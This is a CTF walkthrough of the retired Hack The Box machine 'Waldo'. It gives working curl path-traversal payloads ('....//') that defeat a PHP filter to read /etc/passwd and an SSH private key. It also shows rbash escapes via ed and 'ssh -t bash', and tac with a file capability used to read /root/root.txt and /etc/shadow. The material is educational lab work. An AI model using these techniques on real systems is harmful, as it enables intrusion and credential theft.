Waldo was a pretty straight forward box, with a few twists that weren’t too difficult to circumvent. First, I’ll take advantage of a php website, that allows me to leak its source. I’ll use that to bypass filters to read files outside the webroot. In doing so, I’ll find an ssh key that gets me into a container. I’ll notice that I can actually ssh back into localhost again to get out of the container, but with a restricted rbash shell. After escaping, I’ll find the tac program will the linux capability set to allow for full system read, giving me full read access over the entire system, including the flag.

Box Details

Name: Waldo
Release Date: 4 August 2018
Retire Date: 15 December 2018
OS: Linux
Base Points: 30
Rated Difficulty:
0 days, 00:16:24
0 days, 03:44:49
Creator: strawman & capnspacehook



Start with nmap, and notice a few things:

  1. The main attack point is likely a website.
  2. ssh is open, so I should definitely look for keys once I get a shell as a save point (if not an initial access vector).
  3. Something odd is going on with port 8888, as our packet gets no response at all.
  4. The nginx version suggests Trusty, which is Ubuntu 14.04.
root@kali# mkdir nmap; nmap -sT -p- --min-rate 5000 -oA nmap/alltcp

Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-05 22:08 EDT
Nmap scan report for
Host is up (0.019s latency).
Not shown: 65532 closed ports
22/tcp   open     ssh
80/tcp   open     http
8888/tcp filtered sun-answerbook

Nmap done: 1 IP address (1 host up) scanned in 11.45 seconds

root@kali# nmap -sU -p- --min-rate 5000 -oA nmap/alludp
Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-05 22:11 EDT
Warning: giving up on port because retransmission cap hit (10).
Nmap scan report for
Host is up (0.021s latency).
All 65535 scanned ports on are open|filtered (65385) or closed (150)

Nmap done: 1 IP address (1 host up) scanned in 144.84 seconds

root@kali# nmap -p 22,80,8888 -sV -sC -oA nmap/scripts
Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-05 22:59 EDT
Nmap scan report for
Host is up (0.020s latency).

22/tcp   open     ssh            OpenSSH 7.5 (protocol 2.0)
| ssh-hostkey:
|   2048 c4:ff:81:aa:ac:df:66:9e:da:e1:c8:78:00:ab:32:9e (RSA)
|   256 b3:e7:54:6a:16:bd:c9:29:1f:4a:8c:cd:4c:01:24:27 (ECDSA)
|_  256 38:64:ac:57:56:44:d5:69:de:74:a8:88:dc:a0:b4:fd (ED25519)
80/tcp   open     http           nginx 1.12.2
|_http-server-header: nginx/1.12.2
| http-title: List Manager
|_Requested resource was /list.html
|_http-trane-info: Problem with XML parsing of /evox/about
8888/tcp filtered sun-answerbook

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.95 seconds

Website - Port 80


The site presents as a Where’s Waldo themed List Manager:


Beyond observing the awesome background (from Where’s Waldo? In Hollywood (Book 4 - Scene 3)) and the silly script that turns my mouse into a waldo head, I can create lists, add and delete items from them:


When I add a list, it is added in numerical order, and always named list[x], where x is an increasing int.

Under the Hood

If I watch what’s happening as I create and delete lists and items in a proxy (like burp, or firefox dev tools), there’s a series of POST requests to 4 php scripts:

  • dirRead.php
  • fileRead.php
  • fileWrite.php
  • fileDelete.php

Here’s an example selection of requests from burp generated by interacting with the site:



If I pull up one of the POSTs to dirRead.php, I’ll see a request which includes a path:

POST /dirRead.php HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Content-Length: 13
Connection: close


And a response like this:

HTTP/1.1 200 OK
Server: nginx/1.12.2
Date: Mon, 06 Aug 2018 21:47:10 GMT
Content-Type: application/json
Connection: close
X-Powered-By: PHP/7.1.16
Content-Length: 26


If I send it back with path=/, I get the following, which indicates from php’s perspective, the root is this directory, likely the webroot:



With an idea of the files and where they are, reading files seems like the next place to check out. The request passes a file parameter:

POST /fileRead.php HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Content-Length: 18
Connection: close


The the response gives what looks like the content of the file:

HTTP/1.1 200 OK
Server: nginx/1.12.2
Date: Mon, 06 Aug 2018 21:51:22 GMT
Content-Type: application/json
Connection: close
X-Powered-By: PHP/7.1.16
Content-Length: 71


Arbitrary File Read

With those two functions, I can get to get arbitrary directory listing and file reads.

Detecting Filters

I already showed that doing a directory read on / returns the html root, not the box root. Can I just use ../? Well, no:

root@kali# curl -X POST -d "path=/"

root@kali# curl -X POST -d "path=/../"


I could start to guess at bypasses for the filtering that’s going on, but rather, I’ll grab the site source. I can pipe the curl output into jq with the -r flag to print the string as raw, and select the file object (if you don’t know jq, you should check it out - it comes in handy in so many situations with json data.

So this command will grab dirRead.php:

root@kali# curl -s -X POST -d "file=dirRead.php" | jq -r .file

                header('Content-type: application/json');
                $_POST['path'] = str_replace( array("../", "..\""), "", $_POST['path']);
                echo json_encode(scandir("/var/www/html/" . $_POST['path']));
                header('Content-type: application/json');
                echo '[false]';



        $fileContent['file'] = false;
        header('Content-Type: application/json');
                header('Content-Type: application/json');
                $_POST['file'] = str_replace( array("../", "..\""), "", $_POST['file']);
                if(strpos($_POST['file'], "user.txt") === false){
                        $file = fopen("/var/www/html/" . $_POST['file'], "r");
                        $fileContent['file'] = fread($file,filesize($_POST['file']));
        echo json_encode($fileContent);



        header('Content-Type: application/json');
        $condition['result'] = false;
                        $myFile = "/var/www/html/.list/list" . $_POST['listnum'];
                        $handle = fopen($myFile, 'w');
                        $data = $_POST['data'];
                        fwrite($handle, $data);
                        $condition['result'] = true;
        echo json_encode($condition);



                header('Content-Type: application/json');
                        $myFile = "/var/www/html/.list/list" . $_POST['listnum'];
                        header('Content-Type: application/json');
                        echo '[true]';
                        header('Content-Type: application/json');
                        echo '[false]';
                header('Content-Type: application/json');
                echo '[false]';

Bypassing Filters

I can see in both dirRead and fileRead the user input is filtered to remove directory traversal attacks. There’s a third filter there in fileRead that prevents me from reading user.txt:

file filter
dirRead $_POST['path'] = str_replace( array("../", "..\""), "", $_POST['path']);
fileRead $_POST['file'] = str_replace( array("../", "..\""), "", $_POST['file']);
fileRead strpos($_POST['file'], "user.txt") === false

Fortunately for me, that style filter can be bypassed by including a string that, after the str_replace, will result in what I want. str_replace is not recursive. It only makes one pass over the string. So, str_replace( array("../", "..\""), "", "....//") == "../".

To test, I’ll get a directory listing of / and grab /etc/passwd:

root@kali# curl -s -X POST -d "path=....//....//....//" | jq -rc .

root@kali# curl -s -X POST -d "file=....//....//....//etc/passwd" | jq -r .file
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin

Interesting Files

In enumerating the box with dir list and file read, I’ll find a few interesting things.

  • Right away we see .dockerenv in the root. Looking around further, the box is sparse, so I am likely in a container.

  • There’s one user on the box, nobody. There’s a user.txt in the nobody home directory, but as mentioned above, I can’t read it. I’ll need to get shell access.

  • There’s also a .ssh folder, which contains a file named .monitor, which is a private ssh key. I’ll save it with this command:

    root@kali# curl -s -X POST -d "file=....//....//....//home/nobody/.ssh/.monitor" | jq -r .file > ~/id_waldo_nobody

SSH Access as nobody

Now with an ssh key, I can get a shell on Waldo as nobody:

root@kali# ssh -i id_rsa_waldo_nobody nobody@
Welcome to Alpine!

The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See <http://wiki.alpinelinux.org>.
waldo:~$ id
uid=65534(nobody) gid=65534(nobody) groups=65534(nobody)

This gives me access to user.txt:

waldo:~$ wc -c user.txt
33 user.txt
waldo:~$ cat user.txt

Privesc / Pivot: nobody -> monitor


The next step involves noticing a bunch of things that are acting weird and some experimentation (or, if you’re on free, noticing in the process list that someone else has already sshed into localhost as monitor).

  • The private key I found was named .monitor. I used it with nobody, but it didn’t have that name in it.

  • monitor isn’t a user on this host.

  • ssh on this box is configured to listen on 8888. When I tried to talk to 8888 from the attacker box, it hangs (remember the filtered return from the original nmap). But here’s the interesting parts from the ssh config:

    waldo:/tmp$ grep -e "Port " -e AllowUser  /etc/ssh/sshd_config
    Port 8888
    AllowUsers nobody
  • I still see the host listening on 22 and 8888:

    waldo:~$ netstat -lnt
    Active Internet connections (only servers)
    Proto Recv-Q Send-Q Local Address           Foreign Address         State
    tcp        0      0    *               LISTEN
    tcp        0      0    *               LISTEN
    tcp        0      0  *               LISTEN
    tcp        0      0*               LISTEN
    tcp        0      0 :::80                   :::*                    LISTEN
    tcp        0      0 :::22                   :::*                    LISTEN
    tcp        0      0 :::8888                 :::*                    LISTEN

My theory at this point is that I’m in a container, and that the host is forwarding post 22 from the outside to port 8888 on the container. But the host is also still listening on port 22 for itself.

Restricted Shell

If I try sshing as monitor to localhost, I get a new shell, and a new host! (And a huge ascii art banner!):

waldo:~$ ssh -i /home/nobody/.ssh/.monitor monitor@localhost
Linux waldo 4.9.0-6-amd64 #1 SMP Debian 4.9.88-1 (2018-04-29) x86_64
          @@@,@@/ %
 (@################%@@@@@.     /**
 %@@@@%##########&@@@....                 .#%#@@@@@@@#
 @@&%#########@@@@/                        */@@@%(((@@@%
    @@@#%@@%@@@,                       *&@@@&%(((#((((@@(
     /(@@@@@@@                     *&@@@@%((((((((((((#@@(
       %/#@@@/@ @#/@          ..@@@@%(((((((((((#((#@@@@@@@@@@@@&#,
          %@*(@#%@.,       /@@@@&(((((((((((((((&@@@@@@&#######%%@@@@#    &
        *@@@@@#        .&@@@#(((#(#((((((((#%@@@@@%###&@@@@@@@@@&%##&@@@@@@/
       /@@          #@@@&#(((((((((((#((@@@@@%%%%@@@@%#########%&@@@@@@@@&
      *@@      *%@@@@#((((((((((((((#@@@@@@@@@@%####%@@@@@@@@@@@@###&@@@@@@@&
      %@/ .&%@@%#(((((((((((((((#@@@@@@@&#####%@@@%#############%@@@&%##&@@/
            .@@&##@@,,/@@@@&(.  .&@@@&,,,.&@@/         #@@%@@@@@&@@@/
           *@@@@@&@@.*@@@          %@@@*,&@@            *@@@@@&.#/,@/
          *@@&*#@@@@@@@&     #@(    .@@@@@@&    ,@@@,    @@@@@(,@/@@
          *@@/@#.#@@@@@/    %@@@,   .@@&%@@@     &@&     @@*@@*(@@#
           (@@/@,,@@&@@@            &@@,,(@@&          .@@%/@@,@@
             /@@@*,@@,@@@*         @@@,,,,,@@@@.     *@@@%,@@**@#
               %@@.%@&,(@@@@,  /&@@@@,,,,,,,%@@@@@@@@@@%,,*@@,#@,

                            Here's Waldo, where's root?
Last login: Thu Aug  9 07:00:00 2018 from

And it’s a quite restricted shell:

monitor@waldo:~$ cd /
-rbash: cd: restricted

monitor@waldo:~$ echo $PATH

I can’t change directory. There’s a bin dir with ls and 3 text editors, which is basically the only commands I can run.

monitor@waldo:~$ ls bin/
ls  most  red  rnano

There’s also this app-dev directory (more on that later).


I found 2 ways to escape from the restricted shell.

What Sets the Shell

The rbash environment I’m given is set in two places. First, if i look in /etc/passwdfor the monitor user, I’ll see its shell is set to rbash:

monitor@waldo:~$ grep monitor /etc/passwd
monitor:x:1001:1001:User for editing source and monitoring logs,,,:/home/monitor:/bin/rbash

rbash will restrict my use of cd, changing the path, and calling programs outside my given path. Then, the path is set on the last line of the .bashrc file, which is sourced at shell creation time:

monitor@waldo:~$ tail -1 .bashrc

In both escapes that follow, once I’m able to get a different shell, I’m able to change the path, and I’ve completely escaped.

Intended Route: red

In the bin dir, I’ll find a few editors:

monitor@waldo:~$ ls -l bin
total 0
lrwxrwxrwx 1 root root  7 May  3  2018 ls -> /bin/ls
lrwxrwxrwx 1 root root 13 May  3  2018 most -> /usr/bin/most
lrwxrwxrwx 1 root root  7 May  3  2018 red -> /bin/ed
lrwxrwxrwx 1 root root  9 May  3  2018 rnano -> /bin/nano

For each editor, they link back to the normal versions. Sometimes there’s an r in front of the name (to imply restricted). Neither nano nor most have any ability to run shell commands.

red is the name for the restricted version of ed, that doesn’t allow you to call system commands from inside it, for example. But this red just links back to unrestricted ed, not to an instance of red.

To escape rbash via ed, I’ll take advantage of ed’s ability to run shell commands. From the ed man page:


Executes command via sh(1). If the first character of command is ‘!’, then it is replaced by text of the previous ‘!command’. ed does not process command for backslash () escapes. However, an unescaped ’%’ is replaced by the default filename. When the shell returns from execution, a ‘!’ is printed to the standard output. The current line is unchanged.

So, I can just open ed, type !/bin/sh, and have a full shell:

monitor@waldo:~$ red
$ pwd
$ cd /
$ ls
bin  boot  dev  etc  home  initrd.img  initrd.img.old  lib  lib64  lost+found  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var  vmlinuz  vmlinuz.old

I’ll need to set the path to something more reasonable, but that’s easy enough outside of rbash:

monitor@waldo:/$ export PATH=/root/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Unintended Route: ssh -t

When you run ssh with the -t flag, it creates a pseudo-tty within the current session and runs the given command, exiting when the command completes. So if I use -t bash, I get a normal shell, skipping the rbash all together. I will need to set the PATH variable on getting in to make the shell functional:

waldo:~$ ssh -i /home/nobody/.ssh/.monitor monitor@localhost -t bash
monitor@waldo:~$ cd /
monitor@waldo:/$ id
bash: id: command not found
monitor@waldo:/$ export PATH=/root/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
monitor@waldo:/$ id
uid=1001(monitor) gid=1001(monitor) groups=1001(monitor)

On the free servers, which had a lot of users going at once, this way was often given away because it shows up in the process list of the container, so once someone figured it out, it was obviously there for others to grab and use.

Privesc: Full Disk Read as root


In the monitor home directory, in the app-dev folder, there’s code and an executable for a program called logMonitor. Looking at the code, it will, depending on the flag passed in, read a log file, and output it to stdout.

monitor@waldo:~/app-dev$ find . -type f -ls
   656316     16 -r-xr-x---   1 app-dev  monitor     13706 May  3 16:50 ./v0.1/logMonitor-0.1
   656315     16 -r--r-----   1 app-dev  monitor     13704 May  3 16:50 ./logMonitor.bak
   655371      8 -rw-rw-rw-   1 monitor  monitor      6824 Aug  8 10:41 ./logMonitor.o
   656304      4 -r-xr-x---   1 app-dev  monitor       795 May  3 16:50 ./.restrictScript.sh
   656309      4 -rw-rw----   1 app-dev  monitor      2677 May  3 16:50 ./logMonitor.c
   656310      4 -rw-rw----   1 app-dev  monitor       488 May  3 16:50 ./logMonitor.h
   656311      4 -rwxr-----   1 app-dev  monitor       266 May  3 16:50 ./makefile
   655372     16 -rw-rw-rw-   1 monitor  monitor     13704 Aug  8 10:41 ./logMonitor
   655370   2168 -rw-rw-rw-   1 monitor  monitor   2217712 Aug  8 10:41 ./logMonitor.h.gch

The version in the main directory doesn’t seem to work, but the one in v0.1 does. But to work, it must print out the contents of files that are only available to privileged users. For example, with a -a flag, it will print the contents of “/var/log/auth.log”

monitor@waldo:~/app-dev$ ls -l /var/log/auth.log
-rw-r----- 1 root adm 16283 Aug  9 12:18 /var/log/auth.log

The obvious answer would be the SUID bit on the executable, but (as you can see above) it’s not set.


Linux has a concept of capabilities, which allow you to assign a program rights to do certain things typically reserved for root. So, for example, the CAP_NET_BIND_SERVICE capability allows a program not running as root to bind to a port under 1024.

If I look at this program, using getcap, I’ll see it has a capability assigned:

monitor@waldo:~/app-dev$ getcap v0.1/logMonitor-0.1
v0.1/logMonitor-0.1 = cap_dac_read_search+ei

CAP_DAC_READ_SEARCH allows the program to bypass file and directory read permission checks. Neat.

the +ei means that the capability is:

  • (e)ffective - used by the kernel to perform permission checks
  • (i) inheritable - preserved across execve or fork calls


After spending some time trying to figure out how to exploit logMonitor-0.1, I decided to look for other files with capabilities on the box:

monitor@waldo:~/app-dev$ find / -exec getcap {} \; 2>/dev/null
/usr/bin/tac = cap_dac_read_search+ei
/home/monitor/app-dev/v0.1/logMonitor-0.1 = cap_dac_read_search+ei

tac is just reverse cat, as it in prints contents of files to stdout, but last line first.

With tac, I can get the root flag:

monitor@waldo:~/app-dev$ tac /root/root.txt

If I wanted to read other files with more than one line, just tac twice:

monitor@waldo:/$ tac /etc/shadow | tac

No root Shell

I couldn’t find any way to turn this into a root shell, and in conversations with the author, that’s the intention for the box. My primary focus was on exploiting logMonitor-0.1, but couldn’t get anything to work.

Beyond Root: Lin Enum Updates Based on Waldo

When this box was released, I ran LinEnum.sh on the box as monitor trying to get to root. Nothing much jumped out at me. But when I run it today, I see this section:

[+] Files with POSIX capabilities set:
/usr/bin/tac = cap_dac_read_search+ei
/home/monitor/app-dev/v0.1/logMonitor-0.1 = cap_dac_read_search+ei

[+] Users with specific POSIX capabilities:
cap_dac_read_search monitor

[+] Capabilities associated with the current user:

[+] Files with the same capabilities associated with the current user (You may want to try abusing those capabilities):
/usr/bin/tac = cap_dac_read_search+ei
/home/monitor/app-dev/v0.1/logMonitor-0.1 = cap_dac_read_search+ei

[+] Permissions of files with the same capabilities associated with the current user:
-rwxr-xr-x 1 root root 39752 Feb 22  2017 /usr/bin/tac
-r-xr-x--- 1 app-dev monitor 13706 May  3  2018 /home/monitor/app-dev/v0.1/logMonitor-0.1

Did I really miss this at the time? Or was it recently added?

So I jumped over to the GitHub for LinEnum, and clicked on LinEnum.sh to open the code. A quick ctrl-f later, I found the code that checks, at lines 1173-1245.

If you click on the line number, and then the 3 dots that pop up, and then select “View git blame”, you will see a list of every commit to this repo that changes this line of code. In this case, I’ll see just one commit:

I can click on the commit link (#24 in this case) to see the details of the merge request that added this code to LinEnum. It was submitted by SaeedHashem on Aug 24 2018, merged on Aug 27:


He says it was inspired by a CTF. Could it be that CTF is HackTheBox? There is a user on HackTheBox saeedhashem, who completed Waldo around August, so it seems likely. Big props to Saeed for taking what he learned in HTB and using it to update open-source tools!